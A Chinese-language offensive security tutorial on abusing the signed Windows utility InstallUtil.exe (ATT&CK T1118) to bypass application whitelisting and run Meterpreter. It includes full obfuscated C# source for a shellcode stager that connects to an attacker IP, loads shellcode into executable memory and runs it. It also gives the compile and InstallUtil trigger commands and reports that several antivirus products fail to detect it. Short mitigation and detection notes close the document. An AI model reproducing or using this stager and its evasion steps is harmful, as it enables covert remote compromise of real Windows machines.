0x00 简介
ATT&CK编号: T1118
战术: 防御逃避,执行
平台: Windows
所需权限: 用户
数据源: 进程监视,进程命令行参数
绕过防御: 进程白名单,数字证书验证
InstallUtil 是一个命令行实用程序,它允许通过执行。net 二进制文件中指定的特定安装程序组件来安装和卸载资源。[1] InstallUtil 位于 Windows 系统的。NET 目录中: C:WindowsMicrosoft.NETFrameworkvInstallUtil.exe 和 C:WindowsMicrosoft.NETFramework64vInstallUtil.exe. InstallUtil.exe 具有 Microsoft 的数字签名。 攻击者可以通过受信的 Windows 实用程序使用 InstallUtil 来代理代码的执行。 通过利用执行由 [System.ComponentModel.RunInstaller(true)]。[2]修饰的类的二进制文件中的属性,InstallUtil 还可用于来绕过进程白名单。
0x01 环境
攻击机:Kali
受害机:Windows7
依赖环境:http://Microsoft.NET Framework v4.0.30319
0x02 利用过程
用的比较多的是CSC.exe+InstallUtil.exe加载shellcode,流程为:msf生成C#格式shellcode -> 加密shellcode -> 解密并加载shellcode -> csc.exe编译成.jpg文件 -> InstallUtil.exe白名单执行。
1. 常规用法
项目地址:https://github.com/khr0x40sh/WhiteListEvasion.git
生成cs文件
python InstallUtil.py --cs_file temp.cs --exe_name temp.exe --payload windows/meterpreter/reverse_https --lhost 192.168.1.11 --lport 443csc.exe pentestlab.cs

攻击机打开msf中使用windows/x64/meterpreter/reverse_tcp设置监听

.InstallUtil.exe /logfile= /logtoconsole=false /u pentestlab.exe

msf上线成功

此方法目前已经不免杀
2. 免杀用法
将下面代码的QxKpvX =lXsdNPt("192.168.3.223",8888);部分改为MSF监听的IP和端口,这种类似于开个socket接收MSF传送来的shellcode进行执行
using System;
using System.Net;
using System.Linq;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;
using System.Configuration.Install;
using System.Windows.Forms;
public class xikGyQhiWFtLfea {
public static void Main() {
while (true) { {
MessageBox.Show("doge");
Console.ReadLine();
}
}
}
}
[System.ComponentModel.RunInstaller(true)]
public class tlVMKernIcgK : System.Configuration.Install.Installer {
public override void Uninstall(System.Collections.IDictionary DfYhOEiegJczVcb) {
xPdYsYuXnSnGw.poQMzdP();
}
}
public class xPdYsYuXnSnGw {
[DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 JkWcZPjIfoHi, UInt32 QzVLSfv, UInt32 WwZvpI, UInt32 kzasnlrCx);
[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 pHkjjhGC, UInt32 nvhwAfGRpaan, UInt32 omtHlqvnYUwang, IntPtr RjAkyAqEjlRcyn, UInt32 JCivBCMUx, ref UInt32 HCBPuOkvhoYUG);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr wYVgya, UInt32 ikklPOdvYt);
static byte[] lXsdNPt(string GpvIvURjyADhMjk, int YCtOqjKhKOVx) {
IPEndPoint SzcUwwr = new IPEndPoint(IPAddress.Parse(GpvIvURjyADhMjk), YCtOqjKhKOVx);
Socket chQxzayBFUMpqt = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try {
chQxzayBFUMpqt.Connect(SzcUwwr);
} catch {
return null;
}
byte[] DlkoUdk = new byte[4];
chQxzayBFUMpqt.Receive(DlkoUdk, 4, 0);
int AXwxWBmSOrwh = BitConverter.ToInt32(DlkoUdk, 0);
byte[] GwvBqMFF = new byte[AXwxWBmSOrwh + 5];
int vWjTky = 0;
while (vWjTky < AXwxWBmSOrwh) {
vWjTky += chQxzayBFUMpqt.Receive(GwvBqMFF, vWjTky + 5, (AXwxWBmSOrwh - vWjTky) < 4096 ? (AXwxWBmSOrwh - vWjTky) : 4096, 0);
}
byte[] SYFASUFosCHjk = BitConverter.GetBytes((int)chQxzayBFUMpqt.Handle);
Array.Copy(SYFASUFosCHjk, 0, GwvBqMFF, 1, 4);
GwvBqMFF[0] = 0xBF;
return GwvBqMFF;
}
static void mjnxRGlBtgsKaNL(byte[] HCpaoWPeusDevY) {
if (HCpaoWPeusDevY != null) {
UInt32 VcgiCTPFDF = VirtualAlloc(0, (UInt32)HCpaoWPeusDevY.Length, 0x1000, 0x40);
Marshal.Copy(HCpaoWPeusDevY, 0, (IntPtr)(VcgiCTPFDF), HCpaoWPeusDevY.Length);
IntPtr syuSYjh = IntPtr.Zero;
UInt32 TLwAODfreIhMN = 0;
IntPtr IaskpTOKF = IntPtr.Zero;
syuSYjh = CreateThread(0, 0, VcgiCTPFDF, IaskpTOKF, 0, ref TLwAODfreIhMN);
WaitForSingleObject(syuSYjh, 0xFFFFFFFF);
}
}
public static void poQMzdP() {
byte[] QxKpvX = null;
QxKpvX = lXsdNPt("192.168.3.223", 8888);
mjnxRGlBtgsKaNL(QxKpvX);
}
}
将cs文件传到受害机的C:WindowsTemp目录,然后使用csc编译shell.cs
C:WindowsMicrosoft.NETFramework64v4.0.30319>csc.exe /platform:x64 /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:C:WindowsTempshell.exe /unsafe C:WindowsTempshell.cs
攻击机打开msf中使用payload:windows/x64/meterpreter/reverse_tcp设置监听

编译生成的shell.exe直接执行是不行的,需要使用InstallUtil.exe来触发。
C:WindowsMicrosoft.NETFramework64v4.0.30319>InstallUtil.exe /logfile= /LogToConsole=false /U C:WindowsTempshell.exe
msf上线成功

0x03 查杀效果
使用InstallUtil.exe执行shell.exe,腾讯管家、360杀毒、火绒动态和静态均无预警。

360安全卫士会检测到InstallUtil.exe执行预警。

http://VirusTotal.com中shell.exe文件3/71个报病毒。

0x04 缓解
在给定的环境中,InstallUtil 可能不是必需的。 如果给定的系统或网络不需要 InstallUtil.exe,配置应用程序白名单来拦截其执行,防止攻击者潜在的滥用。
0x05 检测
使用进程监视来监视 InstallUtil.exe 的执行和参数。 将 InstallUtil.exe 最近的调用与之前的已知良好参数调用和已执行的二进制文件进行比较,以确定异常和潜在的攻击活动。 InstallUtil.exe 调用前后使用的命令参数也可能有助于确定执行的二进制文件的来源和目的。
0x06 参考资料
InstallUtil&csc.exe-bypass application whitelisting
csharp 编译文件绕过防病毒软件利用手法分析
MITRE ATT&CK InstallUtil